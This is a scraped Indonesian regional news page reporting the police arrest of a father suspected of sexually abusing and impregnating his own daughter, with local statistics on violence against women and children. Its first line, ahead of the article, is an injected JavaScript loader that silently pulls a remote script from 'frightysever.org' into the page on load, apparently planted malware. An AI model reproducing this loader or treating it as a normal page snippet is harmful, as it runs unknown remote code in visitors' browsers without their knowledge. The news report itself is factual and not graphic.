(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Gauli Anak Sendiri hingga Hamil, MJ Ditangkap Resmob Polda Kalsel


BANJARMASIN, Tim gabungan Polres Tanah Laut (Tala) dibantu Resmob Polda Kalsel menangkap seorang ayah berinisial MJ (44) yang tega menggauli putrinya sendiri hingga hamil besar. MJ ditangkap di sebuah lokasi di Km 7 Kartak Hanyar, Kabupaten Banjar, Selasa (11/6).

Berawal dari laporan, petugas langsung melakukan pencarian terhadap MJ. Hingga akhirnya yang bersangkutan ditemukan di sekitar Km 7 Kertak Hanyar, sekitar pukul 12.00 Wita. Tak menunggu lama, polisi pun akhirnya melakukan penangkapan.

Direktur Kriminal Umum Polda Kalsel Kombes Sofyan Hidayat melalui Kasubdit Jatanras AKBP Afebrianto Widhi, Rabu (12/6) siang membenarkan penangkapan pelaku yang diduga melakukan perbuatan persetebuhan dengan anak dibawah umur yang juga anak kandung pelaku. “Ia kita memback up Polres Tala, pelaku sudah diserahkan ke Polres Tala sesaat setelah penangkapan,” katanya.

Sementara itu, kasus kekerasan terhadap perempuan dan anak di Kota Banjarmasin menunjukkan tren kenaikan setiap tahunnya. Fenomena ini mengacu pada laporan tahunan Pusat Pelayanan Terpadu Pemberdayaan Perempuan dan Anak (P2TP2A) Kota Banjarmasin.

Ketua P2TP2A Kota Banjarmasin, Hj Siti Wasilah, mengatakan kasus kekerasan anak dan perempuan di Banjarmasin terus meningkat dalam dua tahun terakhir. “Kalau tahun 2016 saja kami mendapat laporan sebanyak 35 kasus, kemudian meningkat di tahun 2017 menjadi 37 kasus. Dan tahun 2018 terakhir, melonjak lagi menjadi 43 kasus,” ucap Hj Wasilah.

Menurut Siti Wasilah, ada lima indikator kasus kekerasan yang dilaporkan masyarakat ke P2TP2A. Kelima indikator ini mencakup kekerasan fisik, kekerasan psikis, kekerasan seksual, kekerasan ekonomi, dan perdagangan manusia. Dalam rentang tiga tahun ini, kata Siti, kekerasan psikis paling dominan dengan 33 kasus.

Kemudian disusul kekerasan fisik dan kekerasan seksual, masing-masing 9 kasus. Menginjak tahun 2019, Siti Wasilah memprediksi kasus kekerasan terhadap anak dan perempuan makin memprihatinkan. Siti mendasarkan pada fenomena usia korban kekerasan, yang semakin muda setiap tahunnya, yakni di bawah umur 10 tahun.

“Kalau tahun-tahun sebelumnya kami mendapati kasus selalu di atas sampai usia 10 tahun. Entah mengapa, memasuki tahun 2019 ini menjadi momok yang memprihatinkan, yaitu usia korban selalu berusia di bawah 10 tahun,” ungkap Siti Wasilah.(rc/trb)

Reporter : Rc/trb
Editor : Chell

Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

8 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

9 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

11 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

12 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

13 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

13 jam ago

This website uses cookies.